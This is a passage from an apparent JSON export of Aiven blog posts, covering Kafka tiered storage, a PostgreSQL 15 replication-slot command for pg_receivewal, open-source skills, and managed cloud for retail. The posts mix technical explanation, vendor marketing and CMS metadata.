Also, compute resources can be adjusted based on demand, leading to overall more efficient resource allocation and utilization.\n- **Improved Performance:** Consumers querying fresh data on local disk experience no performance impact from those reading data in tiered storage. Data read from tiered storage is retained in a cache for faster subsequent queries on the same data.\n- **Simplified Management:** With less data managed locally by the broker, node-to-node replications, upgrades, migrations, and rebalancing are faster and smoother, reducing the operational load on both the system and Kafka administrators.\n# **When and why to use tiered storage**\nUnderstanding when and why to use tiered storage in Aiven for Apache Kafka helps you maximize its benefits, particularly around cost savings and system performance.\n\nTop scenarios for using tiered storage include:\n- **Long-term data retention:** Many organizations require large-scale data storage for extended periods for regulatory compliance, audits, or historical data analysis. For example, financial institutions retain auditable records for seven years. Tiered storage makes it possible to keep data accessible within Kafka for as long as required at a very reasonable cost.\n- **Immutable backup:** When failures occur in downstream consumers like PostgreSQL, OpenSearch, or ClickHouse, Kafka tiered storage contains the full data history to quickly restore the data to its current state.\n- **High-speed data ingestion:** Tiered storage can manage unpredictable or sudden data spikes by supplementing local disks with cloud storage to ensure optimal performance. Retailers and ecommerce websites may see a huge, unexpected spike following a popular promotion, and Kafka with tiered storage can easily handle the sudden increase in incoming data.\n- **Unlock new use cases:** By eliminating traditional storage limitations, organizations gain the flexibility to support a wide range of applications and workflows, including scenarios where Apache Kafka was once deemed impractical or too expensive. For example, training AI/ML models with real-time and historical data from a single source of truth, Kafka.\n# **How it works**\nTiered storage operates seamlessly for both Apache Kafka producers and consumers. When tiered storage is enabled, data produced to a topic is initially stored on the local disk of the Kafka broker. Data is transferred to remote storage asynchronously, as configured by the Kafka admin, and does not interfere with the producer activity. When consumers fetch records stored in remote storage, there is a slight delay introduced when the Apache Kafka broker gets the records from remote storage. However, the broker downloads and caches these records locally, enabling faster access in subsequent retrievals.\n# **Pricing \u0026 Availability**\nTiered storage [pricing](https://aiven.io/pricing?product=kafka) starts from $0.09 per GB/month, depending on the precise object storage system used. Costs are determined by the amount of remote storage used, measured in GB/hour, and will be confirmed when enabling tiered storage in the Aiven console. For a detailed explanation of tiered storage pricing, please check the [documentation](https://aiven.io/docs/products/kafka/concepts/kafka-tiered-storage). Tiered storage supports cloud storage services from all three hyperscalers – Amazon S3, Google Cloud Storage, and Azure Blob Storage.\n\nPlease contact [Aiven Support](https://aiven.io/contact) to request that tiered storage be made available to you at the project level.\n\nRead more about Tiered Storage in our blog article Introducing [Tiered Storage for Aiven for Apache Kafka®: Unlocking Improved Cost-Efficiency and Scalability](https://aiven.io/blog/introducing-tiered-storage-for-aiven-for-apache-kafka) and see how to start using it in [A guide to Apache Kafka® tiered storage with Aiven and Terraform](https://aiven.io/developer/kafka-tiered-storage-terraform). ","categories":[{"_key":"182de00f60e7","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"8bc9e99c6c37","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"},{"_key":"e20f53425e2b","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"mainImage":{"_type":"mainImage","asset":{"_ref":"image-e9bf01d574aa0b7343b464ac83e9a4ea0e1ce9dd-1200x628-png","_type":"reference"}},"publishedAt":"2024-08-28T08:00:24.824Z","related":[{"_key":"4629642d5c70","_ref":"8b556977-dfaf-4620-b4da-f81d0c19f3b5","_type":"reference"},{"_key":"5467e8b5ffd5","_ref":"a5e83a3d-2ace-4b5c-a9e1-9046a66959ed","_type":"reference"},{"_key":"137c1b68b0d7","_ref":"a90eb4e8-6d45-4c1b-b767-22d99d8beefc","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/unleash-savings-and-scalability-with-aiven-for-apache-kafka"},"subtitle":"Tiered Storage reduces storage costs, increases operational flexibility, and provides unlimited data retention scalability","title":"Unleash Savings and Scalability with Aiven for Apache Kafka®"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:39Z","_id":"3vVhtam9ib0GUCnRmV3Jth","_rev":"AUoLUkEDo6CVeRx5skuQ63","_type":"post","_updatedAt":"2024-02-07T11:15:47Z","authors":[{"_key":"5NzxBK7UvFN976uA2uGF66","_ref":"5NzxBK7UvFN976uA2uGF66","_type":"reference"}],"body":"Today's post is about a new PostgreSQL feature (coming in PostgreSQL 15)\ndeveloped by Aiven to solve a reliability problem we sometimes run into with\nreplication. The `READ_REPLICATION_SLOT` command makes a physical replication\nclient, particularly `pg_receivewal`, more reliable.\n\nAt Aiven's OSPO office, we dedicate our time to the open source products Aiven\noffers or develops, and we were very happy to collaborate on this feature.\n\n## PostgreSQL replication surprises\n\nThis story starts with our own [PgHoard](https://github.com/aiven/pghoard), a\n[PITR](https://www.postgresql.org/docs/current/continuous-archiving.html)\nbackup tool for PostgreSQL. PgHoard offers several methods to archive the WAL\n(Write Ahead Log), including\n[`pg_receivewal`](https://www.postgresql.org/docs/current/app-pgreceivewal.html),\na small application shipping with PostgreSQL which connects to a PostgreSQL\ncluster using the physical replication protocol to stream WAL as they are\nproduced, optionally keeping track of the position on the server using a\nreplication slot.\n\nWe noticed that we could occasionally lose some WAL when PgHoard is restarted\non another machine. This happens because `pg_receivewal` determines its start\nposition like this:\n\n- Look at what segments are present in the archive folder, and resume from the\n latest archived one.\n- If the archive folder is empty, start from the current server LSN position.\n\nThe problem is, in our case, since `pg_receivewal` was started on another\nserver, it didn't have access to the archive folder directly so it resumed from\nthe current LSN (Log Sequence Number) position.\n\nYou can observe this in action by launching `pg_receivewal`, stopping it after\nsome WAL have been archived, then relaunching it with its directory empty:\n\n```\n❯ sudo -u postgres pg_receivewal -D /tmp/wals -v -s pg_receivewal_slot\npg_receivewal: starting log streaming at 47/E5000000 (timeline 1)\npg_receivewal: finished segment at 47/E6000000 (timeline 1)\npg_receivewal: received interrupt signal, exiting\npg_receivewal: not renaming \"0000000100000047000000E6.partial\", segment is not complete\npg_receivewal: received interrupt signal, exiting\n❯ sudo rm /tmp/wals/* -rf\n# Wait for some WAL to be generated on the server, and relaunch pg_receivewal\n❯ sudo -u postgres pg_receivewal -D /tmp/wals -v -s pg_receivewal_slot\npg_receivewal: starting log streaming at 47/E9000000 (timeline 1)\n```\n\nWe notice here that the segments `0000000100000047000000E7` and\n`0000000100000047000000E8` have not been archived at all, jumping from\n`47/E6000000` to `47/E9000000`\n\nWhat should happen here is resuming from the replication slot's `restart_lsn`, which\nis kept on the server.\n\n## New feature: `READ_REPLICATION_SLOT` command\n\nPrior to version 15 of PostgreSQL, the only way to know a replication slot's position\nwas to query the `pg_replication_slots` view, which means regular SQL queries need\nto be issued. This is fine for logical replication, as logical replication\nconnection are bound to a database and are allowed to perform SQL queries. But in\nthe case of physical replication connections, [we do not have this possibility](https://www.postgresql.org/docs/14/protocol-replication.html)\n\nThat meant that a physical replication client had no way to know the state of\nit's replication slot, except by opening a separate, non-replication connection,\nwhich is not something we can do with the `pg_receivewal` application.\n\nThe `READ_REPLICATION_SLOT` command aims to fulfill this gap, by allowing a\nreplication connection to read the current `restart_lsn` and timeline associated\nto a replication slot:\n\n```\n ❯ psql postgres -d \"replication=1\"\npsql (15devel)\n Type \"help\" for help.\n postgres=# READ_REPLICATION_SLOT slot1;\n slot_type | restart_lsn | restart_tli \n -----------+-------------+-------------\n physical | 0/1501000 | 1\n(1 row)\n```\n\nWith that new command, `pg_receivewal` can now determine its starting LSN\nslightly differently:\n\n- Look at what segments are present in the archive folder, and resume from the\n latest archived one.\n- If the archive folder is empty and a replication slot is used,\n issue a `READ_REPLICATION_SLOT` command to read the state from the server.\n- Otherwise, start streaming from the server's current LSN.\n\nThis new command is currently only supported for physical replication slots,\nand returns limited information but that could evolve in future if needed.\nAlready the feature will help with the \"surprises\" we encountered when using\n`pg_receivewal`, and will also benefit other replication clients by making them\nmore reliable. It has been accepted into the project and will be available in\nthe version 15 release.\n\n## Next steps\n\n* Learn more about [Aiven for PostgreSQL](https://aiven.io/postgresql), or [sign up for our free trial](https://console.aiven.io/signup).\n* Check out the [PgHoard project on GitHub](https://github.com/aiven/pghoard).\n* Find out what else our [OSPO](https://aiven.io/open-source) (Open Source Program Office) is up to.\n* Follow us on [Twitter](https://twitter.com/aiven_io) to keep up with more posts like this.","categories":[{"_key":"1vrpqSQEi7vREEAlHVVpOG","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"alt":"","asset":{"_ref":"image-4b49a1ad21b7341cef858dcad62875da240960bb-1567x844-png","_type":"reference"}},"publishedAt":"2022-01-13T00:00:00.000Z","related":[{"_key":"c39764400874","_ref":"56t2NYsyR3QoiIYqGfD0aR","_type":"reference"}],"seo":{"metaDescription":"Check out the latest improvement to PostgreSQL replication to which our OSPO team contributed to help solve reliability problems. ","metaImage":{"alt":"","asset":{"_ref":"image-4b49a1ad21b7341cef858dcad62875da240960bb-1567x844-png","_type":"reference"}},"metaTitle":"Future PostgreSQL: Improvement to the Replication Protocol"},"slug":{"_type":"slug","current":"/blog/future-postgresql-improvement-to-the-replication-protocol"},"subtitle":"Check out the latest improvement to PostgreSQL replication to which our OSPO team contributed to help solve reliability problems. ","title":"Future PostgreSQL: Improvement to the Replication Protocol"} {"__i18n_lang":"en","_createdAt":"2024-02-07T15:44:47Z","_id":"a3acabfb-5261-424e-8619-090ddfdb12b3","_rev":"neae7oL4y1FotDvvRLI2U9","_type":"post","_updatedAt":"2024-07-11T12:25:23Z","authors":[{"_key":"f3598f7cf3b4","_ref":"1a7c9202-de47-455f-b5ab-544e3ddb5cf2","_type":"reference"}],"body":"At the start of the Open-Source Software (OSS) revolution, there were, by definition, fewer OSS technologies. With cloud still in its infancy, those projects could only be self-hosted by enterprises. This necessitated the need to hire engineers with skills and experience in these OSS technologies, which ensured a career of some certainty for those willing to commit to an OSS project of worth. A win-win for all. Innovation with rapid development and greater flexibility and control over how you structure your data for the business and a reliable career path for developers who could specialize and gain deep expertise in a technology, both in a cycle of perpetual improvement.\n \nHow times have changed.\n\n## Hunting for OSS skills\nThe advent of the cloud altered the playing field considerably. It reduced the opportunity for people to make careers out of being committers (to OSS projects) because the prevalence of activity now happens increasingly where the technology is hosted. With most of the deep technical configuration and troubleshooting pooling within the cloud providers, there is less technically interesting or challenging work for developers in the companies choosing to use these OSS projects. This poses a challenge to OSS commitment with the expertise now concentrated in cloud vendors, often referred to as the [elephant factor.](https://chaoss.community/kb/metric-elephant-factor/)\n \nNo surprises then that, according to [Statista](https://www.statista.com/statistics/639467/worldwide-open-source-survey-most-important-skills-according-to-hiring-managers/), in 2022 the most in-demand open source skill was previous experience with cloud and containers, sought by 69% of hiring managers. Though the distortion in the market created by the cloud has not dampened the desire for OSS skills. An [Open UK report](https://openuk.uk/press-releases-posts/openuk-launches-skills-or-bust-report-showcasing-how-uk-open-source-skills-can-power-the-future-uk-tech-economy/) in late 2023 found that 77% of companies are hunting for programming skills in the UK.\n \n## The winning bet?\nThe demand is considerable because the ecosystem is maturing. New projects are emerging daily covering everything from infrastructure to more specialized technologies, like Kubernetes and databases for AI. Indeed, every time there's a new technology there are multiple OSS versions of it. The footprint by volume of projects that a developer can choose to commit to is drastically bigger than it was 10 years ago. Yet there’s no way of knowing which one is going to be the winning bet, leading to developer uncertainty.\n \nThat breadth of options combined with the lack of guarantee has created another dilemma. Because of the increase in project volume, OSS projects are not garnering the same acceleration in innovation and development as would have historically been the case when projects were fewer. This makes purchasing and investment decisions for businesses harder and increases the risk of backing a technology or OSS project that becomes stagnant after they’ve made their bet.\n\nInstead we are increasingly seeing employers outside the cloud vendors, looking to recruit developers with cloud development skills and experience.\n \n## Consequences of commercialization\nTo complicate matters further, new technologies are adopted at a more rapid pace, and boards of companies are increasingly looking to maximise the value of their investment in a company championing a specific OSS managed service, earlier in their lifecycle. Previously this was to protect themselves from cloud vendors hosting their technology and profiting from it, giving little or nothing back to the community. This practice has been most evident recently in the Graph database ecosystem with Neo4j and Tigergraph, but I expect this trend to become more prevalent in new and novel technologies as they emerge. This not only impacts community contributions but can deter engineers from long-term commitment to a project (because doing so will wed them to a technology that no other company is running, reducing their opportunities, and the impact their code can have in the world). The shift in licensing jeopardizes both innovation and a project's long-term viability while leaving a less vibrant OSS community than what was there before.\n \nAs a result, an increasing number of OSS projects such as Qdrant, Pinecone and LangChain, are adopting a permissive license to keep the movement going, to attract talent that cares deeply about OSS and to maintain levels of flexibility and choice that appeals to the companies they hope will adopt it. In all likelihood, as in the past, older technology is perfectly capable of keeping up with changing needs but because of the distortion in the skills market, there is a lack of expertise and skills to do the work of keeping the project or technology relevant, and so customers are less committed to long term use of any one technology.\n \nIt was a point made by Jim Zemlin, executive director, The Linux Foundation, speaking recently at Open Source Summit Europe 2023, who said, “Our biggest challenge is hiring smart people to come in and help facilitate all of the collective development that happens across the now 1000s of open source projects that we steward.” Indeed, according to a [June 2022 report](https://www.techrepublic.com/article/employers-increase-hiring-open-source-skills/) by Linux Foundation and edX, 93% of people responsible for filling OSS positions said they’re bumping into difficulty trying to find qualified people with the right OSS skills.\n \nWhen faced with this combination of a pressurized skills market, OSS projects increasingly being commercialized and reticence about backing a project and losing investment as a result, how can companies protect themselves?\n \n## Open core is harmful\nIt’s a situation that has given rise to OSS managed services. These services offer the value associated with hosting open-source software, for instance, upgrading open source tools to address bug fixes and unlock new features. They are also a step-up from the open core model often adopted by well funded startups (where only selected and limited functionality is available under an open source license). Open core projects are not true open source, with no vibrant community, valuable features are blocked in the open core product, while the key features are paywalled in the licensed version of the offering, as we see with Redis. The primary goal for OSS managed service providers is to make configuration, monitoring, and management of complex open-source IaaS and SaaS simpler, faster, more predictable, and more reliable. These vendors naturally gain from the pooling of technology experts where the services are hosted and by employing committers to the various OSS projects, so that they can continue to develop and represent the communities needs, which their customers are obviously part of, in the upstream projects. This way we can ensure a bright future for these open source projects.\n \nGoing with an OSS managed service provider means that companies are protected from the license change because the OSS managed service companies are often stewards, participants and contributors to the OSS technology packages that they support. They are often founding members of organizations that sponsor and guide the technical direction of complex open-source projects.\n \nSimilarly, they also offer protection against the challenges with skills access and the innovation associated with it. It’s precisely why we have an open source program office (OSPO) which employs committers to projects that we host, with a clear mission, making these open source projects sustainable, so ours and our customers' business can thrive and grow without worrying whether their infrastructure open source projects will exist in the future. Doing so ensures that customers' workloads are managed by companies with the right skills and means we give our customers the best support with the most vibrant community possible.\n\nEvidence of the OSS managed service providers acknowledging this need, is clear in the [https://opensourceindex.io/](https://opensourceindex.io/). Hyperscalers are increasingly aware of the need to support and contribute more directly to the OSS projects that drive their customer success. A question remains whether smaller providers have the resources to do the same, and what the ROI of committing resources to contribute to the upstream is for them.\n \n## A fruitful future for OSS\nCompanies want to focus on their IP and critical business functions, leaving OSS projects and the issues associated with them to the OSS managed providers. But realizing success here means businesses must ensure that the OSSMS providers that they use have the skill sets in house to meet their objectives, otherwise failure is inevitable.\n \nThis is key to a fruitful future for OSS. One that mitigates the challenges of skills access and commercialization while providing value and innovation to enterprises and, in doing so, builds the talent pool and OSS community to keep innovation and value high for the future.\n \nFor more information about Aiven and our work in the open source community, please check out our [website](https://aiven.io/) and our [Open Source Program Office (OSPO) page](https://aiven.io/open-source-program-office).\n\n## Further reading\n\n- [Aiven statement on license changes for the Confluent Platform](https://aiven.io/blog/aiven-statement-on-kafka-license)","categories":[{"_key":"13d6f242d28f","_ref":"8R60m8L4BFeRA01yrF7eD","_type":"reference"},{"_key":"b9220271cb0d","_ref":"5da1e1bb-fe75-4489-8510-b67f1fdec3c7","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Orange background with white writing saying \"Maintaining Innovation and Access to Skills for OSS Projects\". The Aiven logo is in the bottom left of the image.","asset":{"_ref":"image-4d05bc1a7856a5cfcf3a5dccda7684505067a1e5-1200x628-png","_type":"reference"}},"publishedAt":"2024-02-08T09:47:13.396Z","related":[{"_key":"88a686f7eceb","_ref":"85eab45a-fdee-4d88-8abc-81ba9ee74fc5","_type":"reference"},{"_key":"6f0ff01c3e21","_ref":"4lLkmyrsLLZ2asRfGakbUs","_type":"reference"},{"_key":"1f91c592e30c","_ref":"6xsLe60xhyOugnLw9yg8Uc","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Discover how OSS managed services can offer protection against the challenges of skills access and innovation restriction for open source projects","metaTitle":"Maintaining Innovation and Access to Skills for OSS Projects"},"slug":{"_type":"slug","current":"/blog/maintaining-innovation-and-access-to-skills-for-oss-projects"},"subtitle":"Discover how OSS managed services can offer protection against the challenges of skills access and innovation restriction for open source projects","title":"Maintaining Innovation and Access to Skills for OSS Projects"} {"__i18n_lang":"en","_createdAt":"2022-09-30T15:36:46Z","_id":"Ly347MEMMfb0RG0hpKNiv","_rev":"Y6NNh6Ue45iOdNdcw9LEzS","_type":"post","_updatedAt":"2024-07-04T13:58:43Z","authors":[{"_key":"7aLlIDft447BvdfSDjeIdu","_ref":"7aLlIDft447BvdfSDjeIdu","_type":"reference"}],"body":"Post-covid, the world has seen a sea change in the way people make purchases, taking them further in the direction of [e-commerce and omnichannel shopping](https://www.ibm.com/blogs/industries/retail-cloud-hybrid-shopping-customer-and-employee-experience-transformed/). And these trends look like [they’re here to stay](https://www.accenture.com/us-en/insights/retail/coronavirus-consumer-habits). Stories like this are why the retail business is increasingly looking at ways to level up with cloud technology, and keep their consumers engaged.\n\n## Business meets tech: cloud computing in retail\nCloud computing is just computing that happens in a cloud. \n\nI think we can all agree that this makes it sound less intimidating. Retail businesses use computers, ergo, they can use cloud computing. The question we should be asking is: what is so special about cloud computing that makes it the right choice for retail companies?\n\nThere are two important aspects: amount and location of data.\n### It’s a numbers game\nThe retail business thrives on massive amounts of data. Inventory management and forecasting alone is a bunch of heavy-duty workloads. So is transaction processing, whether fully online or from POS terminals. Business intelligence processes need their own time and space to run, and no one wants them interrupting sales transactions.\n\nBuilding up the processing and storage capabilities able to handle these is a tall order. More than that, buying and owning buildings, telecom connectivity, air-conditioning units and so on is probably not part of your core business.\n\nUsing public cloud infrastructure gives quicker access to the benefits of running heavy data loads. Everything physical lives in the provider’s buildings, you just pay for its use. Quicker ramp-up and scaling is a big factor.\n\n![Data infrastructure options](//cdn.sanity.io/images/sczeoy4w/production/67a6b552001d3f1250569ea67b4a732e44d2eabe-800x436.png)\n\n### Location, location, location\nAnother reason global companies in the retail industry in particular use cloud computing is that it allows you to bring data storage and processing closer to the point of sale. \n\nIf your offices are in Europe but your workloads are in Asia, it makes no sense to live with the lag and uncertainty of sending data back and forth. Instead, get a cloud database hosted in a nearby town, and get all the benefits and none of the lag. \n\nMore importantly still, data protection laws may prohibit transferring users’ data across borders. Global retailers can use cloud computing to ensure that personal data never leaves the country of sale while still benefiting from the business insights they can derive from concatenated, anonymous data.\n## Benefits of managed cloud for retail\nThe benefits of computing power in retail involve the whole industry. Massive amounts of data can be utilized in:\n- Inventory management\n- Warehouse management\n- Supply chain management\n- Data security\n- Customer experience\n- Disaster management\n- POS terminal updates\n- Pricing \u0026 margin management\n- Loyalty-program management\n- Omnichannel order fulfillment\n\nBut what are the benefits of *cloud* computing, specifically managed cloud computing, for retail businesses? Let’s find out.\n\n![On-premises v. managed public cloud in a nutshell](//cdn.sanity.io/images/sczeoy4w/production/7b09655470d3c0a1b497956a7e426dc6afad3e29-800x274.png)\n\n### Managed cloud is most cost-effective\nPrice is the big question, right? You probably weren’t expecting to see it in the benefits section.\n\nAs already discussed, investing in managed cloud infrastructure reduces the amount you spend on your physical setup. Your expenditure moves from CapEx to OpEx and you’re not stuck managing janitors and negotiating for internet connectivity.\n\nManaged clouds are also easier to upscale and downscale than physical setups. This has important implications. [If you can’t upscale at need, you have to build your infrastructure to handle peak workloads](https://aiven.io/blog/5-1-ways-to-avoid-high-load-disaster) or risk serious trouble. That means that 80-90% of the time, that capacity is sitting idle but still costing you money. \n\nAll this means that the Total Cost of Ownership, spread out over years and years, is still lower with a [managed cloud data](https://aiven.io/blog/5-best-practices-for-cloud-database-management) service than an on-premises solution.\n### Faster time to market\nWithout the need to build infrastructure, you can get your product or service out there quickly. And not just the first release: also development and testing cycles are shorter when you can easily spin up new environments.\n### Process efficiency\nInstead of siloed systems for each purpose that are not talking to each other, going into the cloud allows you to build an overarching data infrastructure. This platform model, enhanced with API access to any external systems, equips teams and outlets with real-time data globally. Data can be accessed wherever it’s needed.\n\nFurthermore, the managed data platform model offers good observability to make sure that your services stay available.\n### Efficient supply chain and just-in-time inventory management\nEffective inventory management lets retail businesses time and scale their purchases correctly. That’s why it’s an absolutely essential tool that keeps businesses afloat. Today it’s possible to track and monitor the flow of goods in real-time, allowing companies to implement just-in-time inventory management protocols.\n\nOne of the most vulnerable links in the information chain is the connectivity from the point of sale to the central inventory system. That’s where it helps to provide a data hub at a reasonable distance for all locations.\n\nYou can automate all supply chain and inventory processes. You can even take it to the next level by employing things like predictive systems working on real-time aisle location data. But that takes a lot of computing power and data storage space--only cloud setups can accommodate that much without driving you to bankruptcy.\n\n### Enhanced customer experience\nA fast and smooth checkout process is a fundamental part of a good customer experience--and seller experience, if your company is a marketplace. And naturally you don’t want offline POS terminals, otherwise you face the risk of fraud. Good connectivity at checkout really pays off. (No pun intended…)\n\nIn addition to monetary transactions, consider data about loyalty programs, which have to be fetched from a centralized database; here again the data confidentiality legislation may be an obstacle, unless your data is housed locally.\n\nBut one modern use case that pretty much mandates the use of the cloud, especially for larger retailers, is omnichannel shopping. Consumers today may order their goods online, pay using a third-party app, and then pick up their goods in-store. These are all different systems, and it’s essential that they all talk to each other. \n\nOther applications for the real-time data exchange services that a cloud platform enables include various IoT use cases and utilization of RFID technology.\n### Secure and reliable data environment\nIt’s becoming a truism that public cloud environments have the best security. After all, instead of a 1-2 person DBA team, public clouds employ a whole host of cloud professionals who keep up to date with the latest threats and are able to apply patches whenever needed. Their business depends on it--literally and directly. Cloud providers can’t afford to not have their cloud up and running, not just for reputational reasons but because they’re liable for the damages caused to their customers. SLAs are in place to ensure that compensation happens.\n\nTip! Check out [“Data security compliance in the cloud”](https://aiven.io/blog/data-security-compliance-in-the-cloud). \n\nWhere public clouds use open source software, it also increases security. The community that forms around an open source project will detect and eliminate vulnerabilities as well as bugs.\n\nThe careful and judicious cloud provider will also take the time to [comply with all major data regulations and standards](https://aiven.io/blog/data-security-compliance-in-the-cloud). That’s one less thing to worry about. Even if you need an Enhanced Compliance environment, a managed provider may be able to accommodate your existing account with a [Bring-Your-Own-Cloud (BYOC) arrangement](https://aiven.io/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc). \n\nMalicious attacks aren’t the only thing you have to worry about, though. Natural disasters offer plenty of fodder for nightmares. To minimize your risks, it’s best to have your data infra distributed over a wide geographical area and set up to be durable and disaster-proof.\n\nRelated:\nMake it easier for yourself and your provider to [survive peak load times](https://aiven.io/blog/5-1-ways-to-avoid-high-load-disaster).)\nIf the worst happens, get well-versed in [disaster recovery](https://aiven.io/blog/data-and-disaster-recovery).\n\n### Open source over proprietary software\nWith [open source software](https://aiven.io/blog/why-you-should-love-open-source-databases), you’ll always be able to rethink your decisions. That’s the single most important detail, but one that is too frequently overlooked. Your data should always remain yours, and proprietary software runs the risk of it being locked away, either because all exports are impossible, or because it’s in a format that’s incompatible with other systems.\n\nOpen source can also save money, but this is not a given. There are no license fees, but there are setup and maintenance costs which may exceed those of proprietary software. Moving to a managed service solves these problems, though, giving you the benefits without the downsides.\n\n[video image link, television](https://aiven.io/blog/how-retail-and-ecommerce-can-leverage-open-source-cloud-technology). \n\nOpen source software can indeed [help businesses succeed and scale up](https://aiven.io/blog/how-cloud-and-open-source-technology-help-apac-businesses-thrive), provided they have access to the talent required to implement them.\n### No hiring problems with managed services\nManaging business-critical services requires technical expertise that, at present, is fairly thin on the ground, especially if your business isn’t located in a large city. Overall, there’s a shortage of qualified people in IT. \n\nCloud service providers already have people who can manage Apache Kafka or other complex pieces of software for you. By using managed services, companies can have [access to experts without the hassle of finding and hiring them](https://aiven.io/case-studies/aiven-enabling-swift-growth). \n\n![Alfi Zainuddin, CTO at Swift Solutions](//cdn.sanity.io/images/sczeoy4w/production/311848e801bc59fd339e29b39fefa575c6a1e5a5-596x254.png)\n\n## Cloud computing transforms retail - real examples\nDespite its many benefits, cloud computing is not used by everyone. Nor should it be - not everyone benefits from it. However, the retail sector stands to profit hugely, as we’ve just seen.\n\nWhen it comes to cloud journeys, the retail and distribution sector is definitely not limping. It’s pretty advanced on its digital transformation path, in fact, compared to other industries like insurance, consumer products and even aerospace and defense (source: a study on the cloud maturity of the retail vertical by Arthur D. Little, commissioned by Aiven).\n\nRetailers use data more extensively than ever before. Data powers every aspect of the purchasing process, from warehouse and inventory management to customer journeys. Timely and flexible access to data is key to delivering modern retail experiences. \n\nLet’s take a look at a few retail companies and how they use data. \n\n- Starting from the more traditional use cases of optimizing warehousing and inventory management, [Norauto](https://aiven.io/case-studies/norauto-developers-spin-up-databases-faster-than-ever-with-aiven), [Swift](https://aiven.io/case-studies/aiven-enabling-swift-growth) and [Zalando](https://aiven.io/blog/how-retail-and-ecommerce-can-leverage-open-source-cloud-technology) are all doing that (with Aiven’s services).\n- [Adeo](https://aiven.io/case-studies/aiven-cloud-helps-adeo) is doing something a bit more advanced. They’re combining supply chain and inventory management with analytics to gain an overall view and deep insights spanning their entire chain of stores. They’re no longer a siloed, segmented company, but a flexible cloud-based business able to develop new capabilities at high speed.\n- As for online business cases, [Mirakl](https://aiven.io/case-studies/mirakl-goes-cloud-native-with-aiven) uses Apache Kafka® to offer an online marketplace platform, where customers can create their own marketplaces.\n- And finally, Ometria [uses data about customers to provide customer insights](https://aiven.io/case-studies/aiven-for-postgresql-helps-ometria). They enable hundreds of retail marketers to create personalized marketing experiences through Ometria’s marketing platform.\n\n## Starting a retail digital transformation\nIf you now feel inspired to begin your company’s digital transformation or to change over to a managed service, a PaaS can definitely offer all the technological building blocks you need to reduce your risks and transform your business into a cloud-native one.\n\nHere are some articles to get you started:\n- [5 good questions to ask before moving your database](https://aiven.io/blog/5-good-questions-to-ask-before-moving-your-database)\n- [4 key risks in moving to the cloud (and how to mitigate, manage and master them)](https://aiven.io/blog/4-key-risks-in-digital-data-transformation)\n\nP.S. We’d be remiss if we didn’t point out that Aiven offers a whole spread of [open source data infrastructure solutions](https://aiven.io/solutions/aiven-for-retail) applicable to the retail industry.\n## Wrapping up\nIn this article, we've covered many of the questions you might want to ask about managed cloud data infra in the retail industry. If you want to become even more of an expert at this topic, you can continue on to some of our more general articles.\n\nTo catch up on some basic vocabulary, you can read for example this [quick overview of public versus private clouds](https://aiven.io/blog/public-v-private-clouds-whats-the-difference). \n\nTo find out why we think cloud generally beats on-prem, have a look at our popular [“12 reasons” post](https://aiven.io/blog/12-reasons-you-should-choose-a-public-cloud-service). \n\nFor a quick overview of the logic behind open source software, glance at this post about [Aiven’s relationship with OSS](https://aiven.io/blog/why-you-should-love-open-source-databases). \n\n\u003c!-- copypasta:\n\n®\n™\n\ntoc format:\n\u003ca id=\"toc\"\u003e\u003c/a\u003e\n1. [Wrapping up](#wrapping-up)\n\nimage links: [![image alt](image url)](link)\n\n[Back to top](/blog/slug-line/#toc)\n--\u003e\n\n--\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"},{"_key":"1ErERmLUOz2onJX3MFydSX","_ref":"1ErERmLUOz2onJX3MFydSX","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9-3133x1688-png","_type":"reference"}},"publishedAt":"2022-09-30T00:00:00.000Z","seo":{"metaDescription":"Retailers are moving to the cloud in droves. Find out how they’re benefiting, and why you should brave the digital transformation too.","metaImage":{"alt":"","asset":{"_ref":"image-52dd9b2704a671efa4d6de2e7978e50b0b3dcfc9-3133x1688-png","_type":"reference"}},"metaTitle":"Managed cloud data works for retail"},"slug":{"_type":"slug","current":"/blog/managed-cloud-data-works-for-retail"},"subtitle":"Retailers are moving to the cloud in droves. Find out how they’re benefiting, and why you should brave the digital transformation too.","title":"Managed cloud data works for retail"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"7ofbu7xRGdH9hK5fh8NJIm","_rev":"AUoLUkEDo6CVeRx5sqZfFf","_type":"post","_updatedAt":"2024-02-09T09:27:08Z","authors":[{"_key":"7JA4OvuGiIBppdAjKtCxYN","_ref":"7JA4OvuGiIBppdAjKtCxYN","_type":"reference"}],"body":"We're making [Kafka 0.10.2](/kafka) available to all our customers today, for our existing customers the updates will be rolled out starting next week.\n\n### Improved stability and enhancements\n\n**Apache Kafka** version 0.10.2 brings many enhancements and bug fixes to Kafka.\n\nApache Kafka 0.10.2 is also groundbreaking for those who have been using the official Java client. Before the 0.10.2 release newer client versions could not talk to older cluster versions. The new Java client coming with 0.10.2 is finally able to talk to cluster versions 0.10 and 0.10.1 as well as the latest 0.10.2.\n\nThe new release comes with lots of other useful bug fixes as well. Previously for example if you deleted a topic, recreated it and tried consuming from it, Kafka would \"remember\" the old commit offsets. Now that's happily been fixed.\n\n* [[KAFKA-2000]](https://issues.apache.org/jira/browse/KAFKA-2000) - Delete consumer offsets from kafka once the topic is deleted\n\nAnother thing that people have been asking us about is that since [Aiven for Apache Kafka](/kafka) does not give out access to Zookeeper directly, they've been not able to use Kafka streams functionality. That situation has now improved on the Apache 